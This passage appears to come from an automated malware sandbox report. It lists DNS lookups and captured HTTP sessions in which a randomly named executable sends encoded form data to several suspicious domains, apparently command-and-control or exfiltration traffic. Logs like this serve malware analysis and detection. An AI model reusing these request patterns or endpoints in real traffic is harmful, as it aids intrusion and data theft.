Nov 7, 2024 15:28:41.079432964 CET	1.1.1.1	192.168.2.8	0x1e96	Server failure (2)	www.animekuid.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:41.079451084 CET	1.1.1.1	192.168.2.8	0x1e96	Server failure (2)	www.animekuid.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:41.079471111 CET	1.1.1.1	192.168.2.8	0x1e96	Server failure (2)	www.animekuid.xyz	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:47.149298906 CET	1.1.1.1	192.168.2.8	0x97c0	No error (0)	www.doggieradio.net	doggieradio.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 15:28:47.149298906 CET	1.1.1.1	192.168.2.8	0x97c0	No error (0)	doggieradio.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:28:47.149298906 CET	1.1.1.1	192.168.2.8	0x97c0	No error (0)	doggieradio.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:29:00.658840895 CET	1.1.1.1	192.168.2.8	0x727a	No error (0)	www.demovix.xyz		199.192.19.19	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:29:14.373718977 CET	1.1.1.1	192.168.2.8	0x9115	No error (0)	www.palcoconnector.net		208.91.197.27	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:29:28.555385113 CET	1.1.1.1	192.168.2.8	0x86cb	No error (0)	www.shanhaiguan.net		156.242.132.82	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:29:49.918687105 CET	1.1.1.1	192.168.2.8	0x7efb	Name error (3)	www.mtcep.org	none	none	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:29:58.045125961 CET	1.1.1.1	192.168.2.8	0x4975	No error (0)	www.es-lidl.online	es-lidl.online		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 15:29:58.045125961 CET	1.1.1.1	192.168.2.8	0x4975	No error (0)	es-lidl.online		84.32.84.32	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.multileveltravel.world

www.falconclub.online

www.promasterev.shop

www.childlesscatlady.today

www.doggieradio.net

www.demovix.xyz

www.palcoconnector.net

www.shanhaiguan.net

www.es-lidl.online

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:27:36.937261105 CET	492	OUT	GET /hfue/?sHS=543hApwHD&F2=GzF3o7eza1dU4F476cHHeral/cYJG+FCwgJMIz0HPlfrSCMBDVuQfjGNmxBd7moVrhCGY2hY7MCgK+Mnekgs9Dtqmg1if+oIl65BopybHLADU68if1oWKFmqENabDE70MA== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.multileveltravel.world Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Nov 7, 2024 15:27:37.581988096 CET	404	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 14:27:37 GMT Content-Type: text/html Content-Length: 264 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 73 48 53 3d 35 34 33 68 41 70 77 48 44 26 46 32 3d 47 7a 46 33 6f 37 65 7a 61 31 64 55 34 46 34 37 36 63 48 48 65 72 61 6c 2f 63 59 4a 47 2b 46 43 77 67 4a 4d 49 7a 30 48 50 6c 66 72 53 43 4d 42 44 56 75 51 66 6a 47 4e 6d 78 42 64 37 6d 6f 56 72 68 43 47 59 32 68 59 37 4d 43 67 4b 2b 4d 6e 65 6b 67 73 39 44 74 71 6d 67 31 69 66 2b 6f 49 6c 36 35 42 6f 70 79 62 48 4c 41 44 55 36 38 69 66 31 6f 57 4b 46 6d 71 45 4e 61 62 44 45 37 30 4d 41 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?sHS=543hApwHD&F2=GzF3o7eza1dU4F476cHHeral/cYJG+FCwgJMIz0HPlfrSCMBDVuQfjGNmxBd7moVrhCGY2hY7MCgK+Mnekgs9Dtqmg1if+oIl65BopybHLADU68if1oWKFmqENabDE70MA=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49712	74.208.236.25	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:27:52.695770025 CET	756	OUT	POST /sld7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.falconclub.online Origin: http://www.falconclub.online Cache-Control: max-age=0 Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.falconclub.online/sld7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 79 75 32 4c 63 68 76 55 63 45 70 51 68 56 4e 52 35 64 61 53 69 73 5a 4d 65 41 78 47 73 71 2b 75 4f 57 63 37 70 48 4f 67 48 2b 4b 49 62 72 65 38 37 73 70 4b 44 33 70 74 45 6f 45 48 33 49 42 36 7a 53 64 70 68 4f 56 76 4b 65 78 34 79 6b 4d 71 30 48 56 4b 71 35 58 4a 73 76 33 73 72 70 70 6a 64 6c 31 77 30 2f 59 2b 79 30 4e 74 31 36 7a 4b 76 62 66 6a 64 4c 76 41 70 41 43 6e 49 71 73 45 6f 38 53 36 4b 42 62 36 65 62 69 46 4a 35 63 6e 68 31 58 71 37 48 43 38 78 64 56 57 52 49 2f 62 4d 4c 6b 63 4b 68 4d 35 55 4d 6b 47 6c 34 47 46 4d 42 41 59 53 66 6c 65 70 4e 31 36 66 36 35 5a 55 34 52 6d 44 71 6f 3d Data Ascii: F2=yu2LchvUcEpQhVNR5daSisZMeAxGsq+uOWc7pHOgH+KIbre87spKD3ptEoEH3IB6zSdphOVvKex4ykMq0HVKq5XJsv3srppjdl1w0/Y+y0Nt16zKvbfjdLvApACnIqsEo8S6KBb6ebiFJ5cnh1Xq7HC8xdVWRI/bMLkcKhM5UMkGl4GFMBAYSflepN16f65ZU4RmDqo=
Nov 7, 2024 15:27:53.493556976 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 07 Nov 2024 14:27:53 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49713	74.208.236.25	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:27:55.243988991 CET	776	OUT	POST /sld7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.falconclub.online Origin: http://www.falconclub.online Cache-Control: max-age=0 Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.falconclub.online/sld7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 79 75 32 4c 63 68 76 55 63 45 70 51 7a 6d 46 52 37 2b 43 53 79 38 5a 4e 64 41 78 47 35 36 2b 79 4f 57 51 37 70 46 69 77 48 6f 61 49 61 4c 4f 38 36 74 70 4b 47 33 70 74 4f 49 45 4f 70 34 42 4c 7a 53 52 51 68 4b 64 76 4b 61 68 34 79 68 77 71 31 32 56 56 72 70 58 50 68 50 33 75 32 35 70 6a 64 6c 31 77 30 2f 4d 45 79 77 68 74 31 4b 44 4b 39 71 66 67 65 4c 76 44 71 41 43 6e 4d 71 73 49 6f 38 54 66 4b 41 48 51 65 66 53 46 4a 38 59 6e 68 67 6a 70 31 48 43 6d 39 4e 56 46 43 4d 6d 78 4a 5a 6b 30 41 58 45 71 54 76 67 72 67 4f 72 76 57 6a 49 65 52 66 4e 31 70 4f 64 4d 61 4e 6b 78 4f 62 42 57 64 39 2f 6c 66 31 6f 6c 36 41 62 64 76 30 51 77 49 47 43 43 50 4e 74 6d Data Ascii: F2=yu2LchvUcEpQzmFR7+CSy8ZNdAxG56+yOWQ7pFiwHoaIaLO86tpKG3ptOIEOp4BLzSRQhKdvKah4yhwq12VVrpXPhP3u25pjdl1w0/MEywht1KDK9qfgeLvDqACnMqsIo8TfKAHQefSFJ8Ynhgjp1HCm9NVFCMmxJZk0AXEqTvgrgOrvWjIeRfN1pOdMaNkxObBWd9/lf1ol6Abdv0QwIGCCPNtm
Nov 7, 2024 15:27:55.885152102 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 07 Nov 2024 14:27:55 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49714	74.208.236.25	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:27:57.790715933 CET	1793	OUT	POST /sld7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.falconclub.online Origin: http://www.falconclub.online Cache-Control: max-age=0 Content-Length: 1239 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.falconclub.online/sld7/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 79 75 32 4c 63 68 76 55 63 45 70 51 7a 6d 46 52 37 2b 43 53 79 38 5a 4e 64 41 78 47 35 36 2b 79 4f 57 51 37 70 46 69 77 48 6f 53 49 62 34 32 38 37 4f 42 4b 46 33 70 74 56 49 45 4c 70 34 42 53 7a 53 49 59 68 4b 51 51 4b 59 70 34 77 44 6f 71 39 69 35 56 69 70 58 50 2b 66 33 74 72 70 70 4d 64 6c 6c 38 30 2f 63 45 79 77 68 74 31 49 72 4b 2b 37 66 67 59 4c 76 41 70 41 43 37 49 71 74 56 6f 38 4b 69 4b 44 72 71 65 4d 61 46 4d 73 49 6e 67 53 37 70 39 48 43 34 2b 4e 55 59 43 4a 2b 71 4a 5a 34 4a 41 58 59 45 54 76 59 72 6b 59 61 32 41 67 34 65 48 63 46 6b 75 64 52 36 5a 4d 73 6c 50 64 4e 4f 59 71 43 41 64 6a 49 4d 37 47 50 75 76 44 4a 39 56 51 75 45 42 6f 73 2b 45 58 58 47 75 37 36 6e 63 6f 7a 37 2b 4b 44 41 61 50 72 58 59 64 58 74 75 64 45 68 77 72 4b 33 45 67 4f 76 53 6e 64 47 68 54 35 51 31 48 39 35 30 77 44 58 4f 47 58 53 77 2b 68 75 4b 32 56 6c 34 73 77 71 38 64 44 6e 58 34 59 4e 43 46 52 37 78 71 50 6c 70 6d 57 55 50 67 67 55 68 47 55 6c 55 35 4b 2b 63 4f 62 4a 56 69 6b 43 55 49 41 47 49 55 65 [TRUNCATED] Data Ascii: F2=yu2LchvUcEpQzmFR7+CSy8ZNdAxG56+yOWQ7pFiwHoSIb4287OBKF3ptVIELp4BSzSIYhKQQKYp4wDoq9i5VipXP+f3trppMdll80/cEywht1IrK+7fgYLvApAC7IqtVo8KiKDrqeMaFMsIngS7p9HC4+NUYCJ+qJZ4JAXYETvYrkYa2Ag4eHcFkudR6ZMslPdNOYqCAdjIM7GPuvDJ9VQuEBos+EXXGu76ncoz7+KDAaPrXYdXtudEhwrK3EgOvSndGhT5Q1H950wDXOGXSw+huK2Vl4swq8dDnX4YNCFR7xqPlpmWUPggUhGUlU5K+cObJVikCUIAGIUeO+RyC5htnlaG2Aio/2p0GCfl2Bgx9Ui95MUOpSkyCjtMw5HY3B8ZMzSu9Xay50vPYKg1f+HkgZS9KiNHKvY7CRSHhPFomZ1vYp2tFWeWbcxCblvx7TgPycj4aXHP3XgKerxqCUagCV1Ri6sCGx1uvsKcgQ+lwp+5KJdWcLR1wh+GS5WnuD/vq2LI8VwKopQqzKH4mWUn8FWj3MXbUf+7L2R7IJh5ug42BIlVnhm2lAwKKCJuRMPI/c4J6wyhioRn3RWT+tbyf3vTep336r4Vdm+9+k/qhFT5nAnaNITzFyAWnoj0MR+Up8m0s0sodSynD+UgDQbwNyKMXdEdGhEVJbGT2Uo0j/zs48GRoU0D6zDvEHsvt3drwIb6jo59bzbDeqRC/aBVfKuF5C5lqDVts4xMd2YWW4QhX0PcfXEAJr9sfBkw+7i+dQxWmqajDur9F98xHIHBVg75bJPUlvKQ3dVm2/ttnQcpn7WBu77NDgb+NlYz/6FEF/yTetDi4dKKkYbjOVslfhRdPajeybQ0pTB1117Rk9r3JKYtFQr6mqXKi/eq3p/nxuJTTPWt4UzGNoD/l3NO/fL3Sc2h2ILGh8aEnwNhEJl/GnebdVvbhmtpI4k0DJz0/Rflb+SWxs9TFPFVcO2xKpWk+z7E0gBbYFGsBlaHmPq+Fx [TRUNCATED]
Nov 7, 2024 15:27:58.397226095 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Thu, 07 Nov 2024 14:27:58 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49715	74.208.236.25	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:00.333995104 CET	487	OUT	GET /sld7/?F2=/serfU6kaxhlkkJx8dOr0qlSRXA+6La0KEB68G6jbYfyT6z2zvVJBFhkOYA104kn6FRHm7lAc7gn2TRu9DlzyIrvo6u+6+g1Ilwo5dhHoQBd/NfHtrD7TOfEhTSvK6UN8A==&sHS=543hApwHD HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.falconclub.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36
Nov 7, 2024 15:28:00.977595091 CET	770	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 626 Connection: close Date: Thu, 07 Nov 2024 14:28:00 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49727	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:06.056727886 CET	753	OUT	POST /abrg/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.promasterev.shop Origin: http://www.promasterev.shop Cache-Control: max-age=0 Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.promasterev.shop/abrg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 4c 6c 6f 70 6c 55 78 78 4b 78 65 58 38 6e 36 55 75 30 35 55 6a 71 6c 37 62 6e 44 52 5a 51 62 4c 6e 33 4e 43 33 2f 35 65 47 64 43 32 6f 44 4b 4b 48 46 4b 45 79 70 6d 72 56 61 39 69 39 61 79 66 42 61 4b 4a 2f 66 71 37 69 56 35 71 55 4e 79 6b 33 4b 4f 4f 47 35 6a 6c 73 4a 74 4f 48 63 50 55 64 4b 78 65 78 47 6c 67 48 4d 38 43 6d 66 55 47 78 79 47 36 65 44 34 4d 46 4c 65 72 61 72 66 44 63 51 4d 47 72 57 72 43 69 67 38 48 4b 67 34 78 4d 73 52 70 45 63 36 63 66 70 32 33 55 30 76 6b 76 6c 63 6c 4a 6e 52 6e 4b 76 4e 71 66 68 35 4e 45 65 67 59 37 64 5a 51 5a 38 6b 35 50 54 68 62 4a 31 68 43 62 51 63 3d Data Ascii: F2=LloplUxxKxeX8n6Uu05Ujql7bnDRZQbLn3NC3/5eGdC2oDKKHFKEypmrVa9i9ayfBaKJ/fq7iV5qUNyk3KOOG5jlsJtOHcPUdKxexGlgHM8CmfUGxyG6eD4MFLerarfDcQMGrWrCig8HKg4xMsRpEc6cfp23U0vkvlclJnRnKvNqfh5NEegY7dZQZ8k5PThbJ1hCbQc=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49742	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 15:28:08.602761030 CET	773	OUT	POST /abrg/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.promasterev.shop Origin: http://www.promasterev.shop Cache-Control: max-age=0 Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Referer: http://www.promasterev.shop/abrg/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36 Data Raw: 46 32 3d 4c 6c 6f 70 6c 55 78 78 4b 78 65 58 38 48 71 55 76 54 74 55 6c 4b 6c 38 58 48 44 52 51 77 62 48 6e 33 4a 43 33 2b 39 4f 47 6f 71 32 6f 68 53 4b 56 30 4b 45 78 70 6d 72 62 36 39 72 35 61 79 75 42 61 32 42 2f 64 4f 37 69 57 46 71 55 4d 43 6b 33 37 4f 4e 48 70 6a 6e 68 70 74 41 61 73 50 55 64 4b 78 65 78 47 42 4f 48 4d 6b 43 6d 76 45 47 79 51 2b 39 55 6a 34 4e 41 4c 65 72 51 4c 65 72 63 51 4d 30 72 55 66 34 69 6a 55 48 4b 67 6f 78 4e 2b 70 6f 4e 63 36 53 52 4a 33 39 46 46 79 4b 72 6e 73 2b 55 33 42 55 4d 4f 31 6c 58 33 55 6e 65 38 6f 65 34 64 78 37 5a 2f 4d 50 4b 6b 38 7a 54 57 78 79 46 48 4a 65 78 48 58 4d 6b 66 76 75 6b 34 47 6c 49 61 65 78 4f 2f 69 66 Data Ascii: F2=LloplUxxKxeX8HqUvTtUlKl8XHDRQwbHn3JC3+9OGoq2ohSKV0KExpmrb69r5ayuBa2B/dO7iWFqUMCk37ONHpjnhptAasPUdKxexGBOHMkCmvEGyQ+9Uj4NALerQLercQM0rUf4ijUHKgoxN+poNc6SRJ39FFyKrns+U3BUMO1lX3Une8oe4dx7Z/MPKk8zTWxyFHJexHXMkfvuk4GlIaexO/if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49758	3.33.130.190	80	5284	C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe

Timestamp	Bytes transferred	Direction	Data
